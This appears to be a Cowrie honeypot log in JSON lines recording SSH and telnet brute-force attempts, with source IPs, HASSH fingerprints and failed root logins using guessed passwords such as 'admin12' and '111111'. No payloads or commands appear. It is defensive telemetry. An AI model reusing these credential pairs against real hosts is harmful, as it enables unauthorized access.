{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:18.914057Z","src_ip":"122.154.235.21","session":"912938b1c68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:19.170336Z","src_ip":"122.154.235.21","session":"912938b1c68d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates@","message":"login attempt [root/unitedstates@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:19.936096Z","src_ip":"122.154.235.21","session":"912938b1c68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:21.189694Z","src_ip":"122.154.235.21","session":"912938b1c68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48908,"dst_ip":"10.17.0.5","dst_port":22,"session":"7840c003e29f","protocol":"ssh","message":"New connection: 194.59.206.2:48908 (10.17.0.5:22) [session: 7840c003e29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:21.341958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:21.346137Z","src_ip":"194.59.206.2","session":"7840c003e29f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:21.435305Z","src_ip":"194.59.206.2","session":"7840c003e29f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:21.531721Z","src_ip":"194.59.206.2","session":"7840c003e29f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":43854,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1aae575bfce","protocol":"ssh","message":"New connection: 178.128.39.166:43854 (159.203.135.109:22) [session: c1aae575bfce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:44.003598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:44.054057Z","src_ip":"178.128.39.166","session":"c1aae575bfce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:44.130018Z","src_ip":"178.128.39.166","session":"c1aae575bfce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:44.904395Z","src_ip":"178.128.39.166","session":"c1aae575bfce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.14","src_port":38214,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3da3e027c3a","protocol":"ssh","message":"New connection: 92.118.39.14:38214 (159.203.135.109:22) [session: d3da3e027c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:44.963611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:45.561433Z","src_ip":"92.118.39.14","session":"d3da3e027c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:45.564665Z","src_ip":"92.118.39.14","session":"d3da3e027c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:45.980598Z","src_ip":"178.128.39.166","session":"c1aae575bfce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:47.733096Z","src_ip":"92.118.39.14","session":"d3da3e027c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.228.248","src_port":57270,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e1ee0754a5f","protocol":"ssh","message":"New connection: 202.29.228.248:57270 (10.17.0.5:22) [session: 1e1ee0754a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:48.895905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:48.900026Z","src_ip":"202.29.228.248","session":"1e1ee0754a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:49.144719Z","src_ip":"202.29.228.248","session":"1e1ee0754a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:49.175728Z","src_ip":"92.118.39.14","session":"d3da3e027c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates@1","message":"login attempt [root/unitedstates@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:49.871580Z","src_ip":"202.29.228.248","session":"1e1ee0754a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:51.113958Z","src_ip":"202.29.228.248","session":"1e1ee0754a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.192.132.36","src_port":55238,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c1c7443e6a9","protocol":"ssh","message":"New connection: 159.192.132.36:55238 (10.17.0.5:22) [session: 9c1c7443e6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:19.083706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:19.087555Z","src_ip":"159.192.132.36","session":"9c1c7443e6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:19.356604Z","src_ip":"159.192.132.36","session":"9c1c7443e6a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates@#","message":"login attempt [root/unitedstates@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:20.165112Z","src_ip":"159.192.132.36","session":"9c1c7443e6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:21.440196Z","src_ip":"159.192.132.36","session":"9c1c7443e6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52420,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccec10c648c0","protocol":"telnet","message":"New connection: 107.6.151.170:52420 (159.203.135.109:23) [session: ccec10c648c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:25.015303Z"}
{"eventid":"cowrie.session.closed","duration":0.003570556640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:25.018755Z","src_ip":"107.6.151.170","session":"ccec10c648c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":34956,"dst_ip":"10.17.0.5","dst_port":22,"session":"dda53b6464cb","protocol":"ssh","message":"New connection: 91.92.40.176:34956 (10.17.0.5:22) [session: dda53b6464cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:32.913667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:32.917482Z","src_ip":"91.92.40.176","session":"dda53b6464cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:32.999188Z","src_ip":"91.92.40.176","session":"dda53b6464cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:33.351059Z","src_ip":"91.92.40.176","session":"dda53b6464cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41608,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d1ee5eab217","protocol":"telnet","message":"New connection: 107.6.151.170:41608 (159.203.135.109:23) [session: 5d1ee5eab217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:33.656554Z"}
{"eventid":"cowrie.session.closed","duration":0.003698587417602539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:33.660170Z","src_ip":"107.6.151.170","session":"5d1ee5eab217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:34.434212Z","src_ip":"91.92.40.176","session":"dda53b6464cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59792,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fc106dc9c24","protocol":"telnet","message":"New connection: 170.64.224.25:59792 (159.203.135.109:23) [session: 4fc106dc9c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:35.873826Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":55186,"dst_ip":"159.203.135.109","dst_port":22,"session":"af2a43d75181","protocol":"ssh","message":"New connection: 143.20.185.207:55186 (159.203.135.109:22) [session: af2a43d75181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:47.775136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:47.778641Z","src_ip":"143.20.185.207","session":"af2a43d75181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:47.895315Z","src_ip":"143.20.185.207","session":"af2a43d75181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined8VCPU16GBAMD","message":"login attempt [root/undefined8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:48.367660Z","src_ip":"143.20.185.207","session":"af2a43d75181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.223.30","src_port":17643,"dst_ip":"10.17.0.5","dst_port":22,"session":"3017de2b0219","protocol":"ssh","message":"New connection: 202.29.223.30:17643 (10.17.0.5:22) [session: 3017de2b0219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:48.890107Z"}
